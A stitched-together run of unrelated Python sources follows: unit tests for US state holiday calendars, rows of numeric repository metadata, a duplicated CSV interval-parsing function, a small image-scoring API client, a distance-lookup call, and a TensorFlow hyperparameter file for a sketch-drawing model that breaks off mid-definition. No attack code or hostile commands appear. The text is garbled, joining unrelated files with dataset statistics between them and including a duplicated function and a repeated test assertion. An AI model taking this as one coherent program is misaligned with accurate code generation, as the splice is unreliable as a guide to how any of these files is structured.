self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 9), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 24), holidays)
self.assertIn(date(2014, 12, 25), holidays)
self.assertIn(date(2014, 12, 26), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 10), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 24), holidays)
self.assertIn(date(2015, 12, 25), holidays)
self.assertIn(date(2015, 12, 26), holidays)
class SouthDakotaTest(GenericCalendarTest):
cal_class = SouthDakota
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class TennesseeTest(GenericCalendarTest):
cal_class = Tennessee
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 4, 18), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 4, 3), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class TexasTest(GenericCalendarTest):
cal_class = Texas
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 19), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 3, 2), holidays)
self.assertIn(date(2014, 3, 31), holidays)
self.assertIn(date(2014, 4, 18), holidays)
self.assertIn(date(2014, 4, 21), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 6, 19), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 8, 27), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 3, 2), holidays)
self.assertIn(date(2015, 3, 31), holidays)
self.assertIn(date(2015, 4, 3), holidays)
self.assertIn(date(2015, 4, 21), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 6, 19), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 8, 27), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class UtahTest(GenericCalendarTest):
cal_class = Utah
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 7, 24), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 7, 24), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class VermontTest(GenericCalendarTest):
cal_class = Vermont
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 3, 4), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 8, 15), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 3, 3), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 8, 17), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class VirginiaTest(GenericCalendarTest):
cal_class = Virginia
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 17), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 26), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 24), holidays)
self.assertIn(date(2014, 12, 25), holidays)
self.assertIn(date(2014, 12, 26), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 16), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 25), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 24), holidays)
self.assertIn(date(2015, 12, 25), holidays)
self.assertIn(date(2015, 12, 26), holidays)
class WashingtonTest(GenericCalendarTest):
cal_class = Washington
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class WestVirginiaTest(GenericCalendarTest):
cal_class = WestVirginia
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 6, 20), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 24), holidays)
self.assertIn(date(2014, 12, 25), holidays)
self.assertIn(date(2014, 12, 31), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 6, 20), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 24), holidays)
self.assertIn(date(2015, 12, 25), holidays)
self.assertIn(date(2015, 12, 31), holidays)
class WisconsinTest(GenericCalendarTest):
cal_class = Wisconsin
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 24), holidays)
self.assertIn(date(2014, 12, 25), holidays)
self.assertIn(date(2014, 12, 31), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 24), holidays)
self.assertIn(date(2015, 12, 25), holidays)
self.assertIn(date(2015, 12, 31), holidays)
class WyomingTest(GenericCalendarTest):
cal_class = Wyoming
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
| 42.4546 | 79 | 0.624062 | 9,443 | 70,602 | 4.62639 | 0.019485 | 0.307918 | 0.410557 | 0.554307 | 0.919106 | 0.908989 | 0.897796 | 0.896331 | 0.8945 | 0.893355 | 0 | 0.163243 | 0.232472 | 70,602 | 1,662 | 80 | 42.480144 | 0.642953 | 0.00279 | 0 | 0.86373 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.776325 | 1 | 0.071576 | false | 0.000688 | 0.002065 | 0 | 0.143152 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
255f10d13c32e449300d37d32a20d4af88f126ac | 1,671 | py | Python | intervalle.py | jokfun/astrocalc | 75a87d733e9ad42ad9ab5cc74fbb865a58f69fb7 | [
"MIT"
] | null | null | null | intervalle.py | jokfun/astrocalc | 75a87d733e9ad42ad9ab5cc74fbb865a58f69fb7 | [
"MIT"
] | null | null | null | intervalle.py | jokfun/astrocalc | 75a87d733e9ad42ad9ab5cc74fbb865a58f69fb7 | [
"MIT"
] | null | null | null | from math import fabs
import csv
def create_inter_without(file):
"""
Convert the data of the file into all the intervals
"""
try:
result = []
#With reset cursor, we can re-use input files.
file.seek(0,0)
modif = csv.reader(file)
for k in modif:
try:
if(k[0]!="#"):
ligne = []
for i in range(2,7):
nbr1 = fabs( round(float(k[i]),3) )
nbr2 = fabs( round(float(k[i+5]),3) )
ligne.append([nbr1 - nbr2 , nbr1 + nbr2])
result.append(ligne)
except Exception as e:
print("Error :",k)
print(e)
return result
except Exception as e:
print (e)
def create_inter_with(file):
"""
Convert the data of the file into all the intervals
Assignments of the intervals are conserved
"""
try:
result = []
#With reset cursor, we can re-use input files.
file.seek(0,0)
modif = csv.reader(file)
for k in modif:
try:
if(k[0]!="#"):
ligne = []
for i in range(2,7):
nbr1 = fabs( round(float(k[i]),3) )
nbr2 = fabs( round(float(k[i+5]),3) )
ligne.append([nbr1 - nbr2 , nbr1 + nbr2])
result.append([k,ligne])
except Exception as e:
print("Error :",k)
print(e)
return result
except Exception as e:
print (e)
| 29.839286 | 65 | 0.438061 | 193 | 1,671 | 3.772021 | 0.300518 | 0.049451 | 0.076923 | 0.082418 | 0.857143 | 0.857143 | 0.857143 | 0.857143 | 0.857143 | 0.857143 | 0 | 0.030735 | 0.454817 | 1,671 | 55 | 66 | 30.381818 | 0.768386 | 0.141831 | 0 | 0.857143 | 0 | 0 | 0.011544 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047619 | false | 0 | 0.047619 | 0 | 0.142857 | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c2ad968aaef70a05e46938f2b41974c124eff5f7 | 1,233 | py | Python | pya3rt/image_influence.py | sushi-chaaaan/pya3rt | d38cb21df8e476c1268ba039c973a0a2be93df36 | [
"MIT"
] | 12 | 2017-04-28T05:07:15.000Z | 2022-03-11T08:53:30.000Z | pya3rt/image_influence.py | sushi-chaaaan/pya3rt | d38cb21df8e476c1268ba039c973a0a2be93df36 | [
"MIT"
] | 3 | 2017-04-29T09:05:44.000Z | 2019-10-31T06:51:38.000Z | pya3rt/image_influence.py | sushi-chaaaan/pya3rt | d38cb21df8e476c1268ba039c973a0a2be93df36 | [
"MIT"
] | 8 | 2018-07-12T07:23:13.000Z | 2022-03-11T08:53:33.000Z | # -*- coding: utf-8 -*-
import requests
class ImageInfluence:
@staticmethod
def meat_score(endpoint, apikey, imagefile, predict):
params = {'apikey': apikey,
'predict': predict,
}
files = {'imagefile': open(imagefile, 'rb')}
response = requests.post(endpoint, params, files=files)
return response.json()
@staticmethod
def image_score(endpoint, apikey, imagefile, predict):
params = {'apikey': apikey,
'predict': predict,
}
files = {'imagefile': open(imagefile, 'rb')}
response = requests.post(endpoint, params, files=files)
return response.json()
@staticmethod
def get_upload_url(endpoint, apikey):
params = {'apikey': apikey}
response = requests.get(endpoint, params)
return response.json()
@staticmethod
def order_model(endpoint, apikey):
params = {'apikey': apikey}
response = requests.get(endpoint, params)
return response.json()
@staticmethod
def status_model(endpoint, apikey):
params = {'apikey': apikey}
response = requests.get(endpoint, params)
return response.json()
| 28.674419 | 63 | 0.592863 | 115 | 1,233 | 6.304348 | 0.26087 | 0.103448 | 0.124138 | 0.165517 | 0.875862 | 0.875862 | 0.875862 | 0.875862 | 0.875862 | 0.875862 | 0 | 0.001142 | 0.289538 | 1,233 | 42 | 64 | 29.357143 | 0.826484 | 0.017032 | 0 | 0.727273 | 0 | 0 | 0.054545 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.151515 | false | 0 | 0.030303 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
6c57288338e08d2740f3c5db3418749742769b2d | 25 | py | Python | alu/__init__.py | shimomura314/Arithmetic-Logic-Unit | a547d2fe4ac3cbc2e38a64d654e26141f4c9c81a | [
"MIT"
] | null | null | null | alu/__init__.py | shimomura314/Arithmetic-Logic-Unit | a547d2fe4ac3cbc2e38a64d654e26141f4c9c81a | [
"MIT"
] | null | null | null | alu/__init__.py | shimomura314/Arithmetic-Logic-Unit | a547d2fe4ac3cbc2e38a64d654e26141f4c9c81a | [
"MIT"
] | null | null | null | from .alu import ALU74381 | 25 | 25 | 0.84 | 4 | 25 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.227273 | 0.12 | 25 | 1 | 25 | 25 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
6c58ba4725f3732fcfb0f773b1eb6e9ef4513338 | 106 | py | Python | distances_calculator/tests/my_test.py | tim-hub/distance_calculator | 7e0ac5170493010699b4771719775620c48cc3e2 | [
"MIT"
] | 1 | 2020-01-28T22:35:28.000Z | 2020-01-28T22:35:28.000Z | distances_calculator/tests/my_test.py | tim-hub/distance_calculator | 7e0ac5170493010699b4771719775620c48cc3e2 | [
"MIT"
] | 1 | 2018-08-21T09:59:45.000Z | 2018-08-21T09:59:45.000Z | distances_calculator/tests/my_test.py | tim-hub/distance_calculator | 7e0ac5170493010699b4771719775620c48cc3e2 | [
"MIT"
] | null | null | null | from .. import get_distance
get_distance("125 Queen St, Auckland, 0620", "125 Queen St, Auckland, 0620") | 26.5 | 76 | 0.735849 | 16 | 106 | 4.75 | 0.5625 | 0.289474 | 0.263158 | 0.473684 | 0.578947 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 0.141509 | 106 | 4 | 76 | 26.5 | 0.681319 | 0 | 0 | 0 | 0 | 0 | 0.523364 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
66a3fa9f938d0b35f09a84811cb0058cda94e6a6 | 10,723 | py | Python | hyper_parameters.py | nonoesp/virtual_sketching | 958efe45a9120b9d467ba7701efba28c11e38f8f | [
"Apache-2.0"
] | 84 | 2021-04-21T12:38:56.000Z | 2022-03-27T10:27:55.000Z | hyper_parameters.py | nonoesp/virtual_sketching | 958efe45a9120b9d467ba7701efba28c11e38f8f | [
"Apache-2.0"
] | 6 | 2021-05-29T19:58:08.000Z | 2022-03-04T12:57:58.000Z | hyper_parameters.py | nonoesp/virtual_sketching | 958efe45a9120b9d467ba7701efba28c11e38f8f | [
"Apache-2.0"
] | 13 | 2021-06-02T14:05:54.000Z | 2022-03-17T08:59:46.000Z | import tensorflow as tf
#############################################
# Common parameters
#############################################
FLAGS = tf.app.flags.FLAGS
tf.app.flags.DEFINE_string(
'dataset_dir',
'datasets',
'The directory of sketch data of the dataset.')
tf.app.flags.DEFINE_string(
'log_root',
'outputs/log',
'Directory to store tensorboard.')
tf.app.flags.DEFINE_string(
'log_img_root',
'outputs/log_img',
'Directory to store intermediate output images.')
tf.app.flags.DEFINE_string(
'snapshot_root',
'outputs/snapshot',
'Directory to store model checkpoints.')
tf.app.flags.DEFINE_string(
'neural_renderer_path',
'outputs/snapshot/pretrain_neural_renderer/renderer_300000.tfmodel',
'Path to the neural renderer model.')
tf.app.flags.DEFINE_string(
'perceptual_model_root',
'outputs/snapshot/pretrain_perceptual_model',
'Directory to store perceptual model.')
tf.app.flags.DEFINE_string(
'data',
'',
'The dataset type.')
def get_default_hparams_clean():
"""Return default HParams for sketch-rnn."""
hparams = tf.contrib.training.HParams(
program_name='new_train_clean_line_drawings',
data_set='clean_line_drawings', # Our dataset.
input_channel=1,
num_steps=75040, # Total number of steps of training.
save_every=75000,
eval_every=5000,
max_seq_len=48,
batch_size=20,
gpus=[0, 1],
loop_per_gpu=1,
sn_loss_type='increasing', # ['decreasing', 'fixed', 'increasing']
stroke_num_loss_weight=0.02,
stroke_num_loss_weight_end=0.0,
increase_start_steps=25000,
decrease_stop_steps=40000,
perc_loss_layers=['ReLU1_2', 'ReLU2_2', 'ReLU3_3', 'ReLU5_1'],
perc_loss_fuse_type='add', # ['max', 'add', 'raw_add', 'weighted_sum']
init_cursor_on_undrawn_pixel=False,
early_pen_loss_type='move', # ['head', 'tail', 'move']
early_pen_loss_weight=0.1,
early_pen_length=7,
min_width=0.01,
min_window_size=32,
max_scaling=2.0,
encode_cursor_type='value',
image_size_small=128,
image_size_large=278,
cropping_type='v3', # ['v2', 'v3']
pasting_type='v3', # ['v2', 'v3']
pasting_diff=True,
concat_win_size=True,
encoder_type='conv13_c3',
# ['conv10', 'conv10_deep', 'conv13', 'conv10_c3', 'conv10_deep_c3', 'conv13_c3']
# ['conv13_c3_attn']
# ['combine33', 'combine43', 'combine53', 'combineFC']
vary_thickness=False,
outside_loss_weight=10.0,
win_size_outside_loss_weight=10.0,
resize_method='AREA', # ['BILINEAR', 'NEAREST_NEIGHBOR', 'BICUBIC', 'AREA']
concat_cursor=True,
use_softargmax=True,
soft_beta=10, # value for the soft argmax
raster_loss_weight=1.0,
dec_rnn_size=256, # Size of decoder.
dec_model='hyper', # Decoder: lstm, layer_norm or hyper.
# z_size=128, # Size of latent vector z. Recommend 32, 64 or 128.
bin_gt=True,
stop_accu_grad=True,
random_cursor=True,
cursor_type='next',
raster_size=128,
pix_drop_kp=1.0, # Dropout keep rate
add_coordconv=True,
position_format='abs',
raster_loss_base_type='perceptual', # [l1, mse, perceptual]
grad_clip=1.0, # Gradient clipping. Recommend leaving at 1.0.
learning_rate=0.0001, # Learning rate.
decay_rate=0.9999, # Learning rate decay per minibatch.
decay_power=0.9,
min_learning_rate=0.000001, # Minimum learning rate.
use_recurrent_dropout=True, # Dropout with memory loss. Recommended
recurrent_dropout_prob=0.90, # Probability of recurrent dropout keep.
use_input_dropout=False, # Input dropout. Recommend leaving False.
input_dropout_prob=0.90, # Probability of input dropout keep.
use_output_dropout=False, # Output dropout. Recommend leaving False.
output_dropout_prob=0.90, # Probability of output dropout keep.
model_mode='train' # ['train', 'eval', 'sample']
)
return hparams
def get_default_hparams_rough():
"""Return default HParams for sketch-rnn."""
hparams = tf.contrib.training.HParams(
program_name='new_train_rough_sketches',
data_set='rough_sketches', # ['rough_sketches', 'faces']
input_channel=3,
num_steps=90040, # Total number of steps of training.
save_every=90000,
eval_every=5000,
max_seq_len=48,
batch_size=20,
gpus=[0, 1],
loop_per_gpu=1,
sn_loss_type='increasing', # ['decreasing', 'fixed', 'increasing']
stroke_num_loss_weight=0.1,
stroke_num_loss_weight_end=0.0,
increase_start_steps=25000,
decrease_stop_steps=40000,
photo_prob_type='one', # ['increasing', 'zero', 'one']
photo_prob_start_step=35000,
perc_loss_layers=['ReLU2_2', 'ReLU3_3', 'ReLU5_1'],
perc_loss_fuse_type='add', # ['max', 'add', 'raw_add', 'weighted_sum']
early_pen_loss_type='move', # ['head', 'tail', 'move']
early_pen_loss_weight=0.2,
early_pen_length=7,
min_width=0.01,
min_window_size=32,
max_scaling=2.0,
encode_cursor_type='value',
image_size_small=128,
image_size_large=278,
cropping_type='v3', # ['v2', 'v3']
pasting_type='v3', # ['v2', 'v3']
pasting_diff=True,
concat_win_size=True,
encoder_type='conv13_c3',
# ['conv10', 'conv10_deep', 'conv13', 'conv10_c3', 'conv10_deep_c3', 'conv13_c3']
# ['conv13_c3_attn']
# ['combine33', 'combine43', 'combine53', 'combineFC']
outside_loss_weight=10.0,
win_size_outside_loss_weight=10.0,
resize_method='AREA', # ['BILINEAR', 'NEAREST_NEIGHBOR', 'BICUBIC', 'AREA']
concat_cursor=True,
use_softargmax=True,
soft_beta=10, # value for the soft argmax
raster_loss_weight=1.0,
dec_rnn_size=256, # Size of decoder.
dec_model='hyper', # Decoder: lstm, layer_norm or hyper.
# z_size=128, # Size of latent vector z. Recommend 32, 64 or 128.
bin_gt=True,
stop_accu_grad=True,
random_cursor=True,
cursor_type='next',
raster_size=128,
pix_drop_kp=1.0, # Dropout keep rate
add_coordconv=True,
position_format='abs',
raster_loss_base_type='perceptual', # [l1, mse, perceptual]
grad_clip=1.0, # Gradient clipping. Recommend leaving at 1.0.
learning_rate=0.0001, # Learning rate.
decay_rate=0.9999, # Learning rate decay per minibatch.
decay_power=0.9,
min_learning_rate=0.000001, # Minimum learning rate.
use_recurrent_dropout=True, # Dropout with memory loss. Recommended
recurrent_dropout_prob=0.90, # Probability of recurrent dropout keep.
use_input_dropout=False, # Input dropout. Recommend leaving False.
input_dropout_prob=0.90, # Probability of input dropout keep.
use_output_dropout=False, # Output dropout. Recommend leaving False.
output_dropout_prob=0.90, # Probability of output dropout keep.
model_mode='train' # ['train', 'eval', 'sample']
)
return hparams
def get_default_hparams_normal():
"""Return default HParams for sketch-rnn."""
hparams = tf.contrib.training.HParams(
program_name='new_train_faces',
data_set='faces', # ['rough_sketches', 'faces']
input_channel=3,
num_steps=90040, # Total number of steps of training.
save_every=90000,
eval_every=5000,
max_seq_len=48,
batch_size=20,
gpus=[0, 1],
loop_per_gpu=1,
sn_loss_type='fixed', # ['decreasing', 'fixed', 'increasing']
stroke_num_loss_weight=0.0,
stroke_num_loss_weight_end=0.0,
increase_start_steps=0,
decrease_stop_steps=40000,
photo_prob_type='interpolate', # ['increasing', 'zero', 'one', 'interpolate']
photo_prob_start_step=30000,
photo_prob_end_step=60000,
perc_loss_layers=['ReLU2_2', 'ReLU3_3', 'ReLU4_2', 'ReLU5_1'],
perc_loss_fuse_type='add', # ['max', 'add', 'raw_add', 'weighted_sum']
early_pen_loss_type='move', # ['head', 'tail', 'move']
early_pen_loss_weight=0.2,
early_pen_length=7,
min_width=0.01,
min_window_size=32,
max_scaling=2.0,
